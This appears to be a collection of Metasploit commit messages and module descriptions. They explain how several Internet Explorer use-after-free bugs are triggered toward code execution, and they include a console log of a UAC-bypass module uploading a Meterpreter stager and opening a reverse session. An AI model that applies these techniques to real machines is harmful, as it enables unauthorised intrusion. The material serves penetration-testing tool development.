Even if the OS detection returns non-Win7, maybe it's Win 8 or something
where it'll still work. We rarely bail out on checks like these.
If I'm crazy, feel free to skip or revert this commit (it shouldn't hold
up the release at all)
For details on this module, see #2503. I don't see any comments about
this line in particular
We use system %PATH% for notepad executable instead of the absolute
path, because it caused a problem with the migrate script in a 64-bit
meterpreter session. By default the wordpad binary is not in the
%PATH%, so the condition in hp_nnm_ovbuildpath_textfile.rb was not
changed.
I didn't even realize we already added this in server.rb. So instead
of just escaping the OS parameter, we also encode the data in base64.
I also added prependmigrate to avoid unstable conditions for the payload.
* Period at the end of a description.
* Methods shouldn't be meth_name! unless the method is destructive.
* "Setup" is a noun, "set up" is a verb.
* Use the clunky post module naming convention.
This module exploits a vulnerability found in Microsoft Internet Explorer.
It was originally found being exploited in the wild targeting Japanese and
Korean IE8 users on Windows XP, around the same time frame as CVE-2013-3893,
except this was kept out of the public eye by multiple research companies and
the vendor until the October patch release.
This issue is a use-after-free vulnerability in CDisplayPointer via the use of
a "onpropertychange" event handler. To setup the appropriate buggy conditions,
we first craft the DOM tree in a specific order, where a CBlockElement comes after
the CTextArea element. If we use a select() function for the CTextArea element,
two important things will happen: a CDisplayPointer object will be created for
CTextArea, and it will also trigger another event called "onselect". The "onselect"
event will allow us to setup for the actual event handler we want to abuse -
the "onpropertychange" event. Since the CBlockElement is a child of CTextArea,
if we do a node swap of CBlockElement in "onselect", this will trigger
"onpropertychange". During "onpropertychange" event handling, a free of the
CDisplayPointer object can be forced by using an "Unslect" (other approaches
also apply), but a reference of this freed memory will still be kept by
CDoc::ScrollPointerIntoView, specifically after the CDoc::GetLineInfo call,
because it is still trying to use that to update CDisplayPointer's position.
When this invalid reference arrives in QIClassID, a crash finally occurs due to
accessing the freed memory. By controling this freed memory, it is possible to
achieve arbitrary code execution under the context of the user.
The new changes when calling uac_level = open_key.query_value('ConsentPromptBehaviorAdmin') breaks UAC on Windows 7 and Windows 8 and shows that UAC is not enabled when it is:
Here is prior to the change on a fully patched Windows 8 machine:
msf exploit(bypassuac) > exploit
[*] Started reverse handler on 172.16.21.156:4444
[*] UAC is Enabled, checking level...
[-] UAC is not enabled, no reason to run module
[-] Run exploit/windows/local/ask to elevate
msf exploit(bypassuac) >
Here's the module when running with the most recent changes that are being proposed:
[*] Started reverse handler on 172.16.21.156:4444
[*] UAC is Enabled, checking level...
[!] Could not determine UAC level - attempting anyways...
[*] Checking admin status...
[+] Part of Administrators group! Continuing...
[*] Uploading the bypass UAC executable to the filesystem...
[*] Meterpreter stager executable 73802 bytes long being uploaded..
[*] Uploaded the agent to the filesystem....
[*] Sending stage (770048 bytes) to 172.16.21.128
[*] Meterpreter session 6 opened (172.16.21.156:4444 -> 172.16.21.128:49394) at 2013-10-05 15:49:23 -0400
meterpreter >
With the new changes and not having a return on when 0 (will not always return 0 - just in certain cases where you cannot query) - it works.
This module exploits a use-after-free vulnerability that currents
targets Internet Explorer 9 on Windows 7, but the flaw should exist in
versions 6/7/8/9/10/11. It was initially found in the wild in Japan, but
other regions such as English, Chinese, Korean, etc, were targeted as
well.
The vulnerability is due to how the mshtml!CDoc::SetMouseCapture function
handles a reference during an event. An attacker first can setup two
elements, where the second is the child of the first, and then setup a
onlosecapture event handler for the parent element. The onlosecapture
event seems to require two setCapture() calls to trigger, one for the parent
element, one for the child. When the setCapture() call for the child element
is called, it finally triggers the event, which allows the attacker to cause
an arbitrary memory release using document.write(), which in particular frees
up a 0x54-byte memory. The exact size of this memory may differ based on the
version of IE. After the free, an invalid reference will still be kept and pass
on to more functions, eventuall this arrives in function
MSHTML!CTreeNode::GetInterface, and causes a crash (or arbitrary code execution)
when this function attempts to use this reference to call what appears to be a
PrivateQueryInterface due to the offset (0x00).
To mimic the same exploit found in the wild, this module will try to use the
same DLL from Microsoft Office 2007 or 2010 to leverage the attack.
According to the Ruby style guide, %w{} collections for arrays of single
words are preferred. They're easier to type, and if you want a quick
grep, they're easier to search.
This change converts all Payloads to this format if there is more than
one payload to choose from.
It also alphabetizes the payloads, so the order can be more predictable,
and for long sets, easier to scan with eyeballs.
See:
https://github.com/bbatsov/ruby-style-guide#collections
This module exploits a use-after-free vulnerability found in Internet Explorer,
specifically in how the browser handles the caret (text cursor) object. In IE's
standards mode, the caret handling's vulnerable state can be triggered by first
setting up an editable page with an input field, and then we can force the caret
to update in an onbeforeeditfocus event by setting the body's innerHTML property.
In this event handler, mshtml!CCaret::`vftable' can be freed using a document.write()
function, however, mshtml!CCaret::UpdateScreenCaret remains unaware aware of this
change, and still uses the same reference to the CCaret object. When the function
tries to use this invalid reference to call a virtual function at offset 0x2c, it
finally results a crash. Precise control of the freed object allows arbitrary code
execution under the context of the user.
The vuln works against IE8 on Win 7, but the current version of the custom spray
doesn't actually work well against that target. More work is needed before we can
add that target for sure. The reason a custom spray is needed is because the
document.write() function erases the typical spray routines we use like
js_property_spray, or the heaplib + substring one. Tried using an iframe too,
but onbeforeeditfocus event doesn't seem to work well in an iframe (does not
fire when innerHTML is used.)
In IE8 standards mode, it's possible to cause a use-after-free condition by first
creating an illogical table tree, where a CPhraseElement comes after CTableRow,
with the final node being a sub table element. When the CPhraseElement's outer
content is reset by using either outerText or outerHTML through an event handler,
this triggers a free of its child element (in this case, a CAnchorElement, but
some other objects apply too), but a reference is still kept in function
SRunPointer::SpanQualifier. This function will then pass on the invalid reference
to the next functions, eventually used in mshtml!CElement::Doc when it's trying to
make a call to the object's SecurityContext virtual function at offset +0x70, which
results a crash. An attacker can take advantage of this by first creating an
CAnchorElement object, let it free, and then replace the freed memory with another
fake object. Successfully doing so may allow arbitrary code execution under the
context of the user.
This bug is specific to Internet Explorer 8 only. It was originally discovered by
Orange Tsai at Hitcon 2013, but was silently patched in the July 2013 update, so
no CVE as of now.
jvazquez-r7
William Vu
sinn3r
Tod Beardsley
Meatballs
root
Norbert Szetei
James Lee
Davy Douhine
MrXors
Winterspite
Rob Fuller
trustedsec
TecR0c
FireFart
darknight007
Rick Flores (nanotechz9l)
Tab Assassin